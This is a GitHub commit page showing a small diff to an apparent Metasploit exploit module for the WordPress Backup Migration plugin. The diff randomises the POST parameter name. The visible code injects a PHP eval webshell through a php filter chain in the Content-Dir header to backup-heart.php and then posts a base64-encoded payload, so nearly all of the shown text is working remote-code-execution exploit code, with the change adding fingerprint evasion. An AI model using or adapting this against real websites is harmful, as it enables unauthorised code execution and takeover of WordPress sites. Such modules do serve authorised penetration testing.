Skip to content

Commit 05b1837

Browse files
committed
Random parameter generation
1 parent 4ee30b2 commit 05b1837

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/multi/http/wp_backup_migration_php_filter.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,8 @@ def php_exec_cmd(encoded_payload)
110110
def exploit
111111
print_status('Sending the payload, please wait...')
112112

113-
php_code = "<?php eval($_POST['0']);?>"
113+
random_var_name = Rex::Text.rand_text_alpha_lower(8)
114+
php_code = "<?php eval($_POST['#{random_var_name}']);?>"
114115
php_filter_chain_payload = generate_php_filter_payload(php_code)
115116
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
116117
b64_payload = framework.encoders.create('php/base64').encode(phped_payload)
@@ -119,7 +120,7 @@ def exploit
119120
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),
120121
'method' => 'POST',
121122
'headers' => { 'Content-Dir' => php_filter_chain_payload },
122-
'data' => "0=#{b64_payload}"
123+
'data' => "#{random_var_name}=#{b64_payload}"
123124
)
124125
end
125126
end

0 commit comments

Comments
 (0)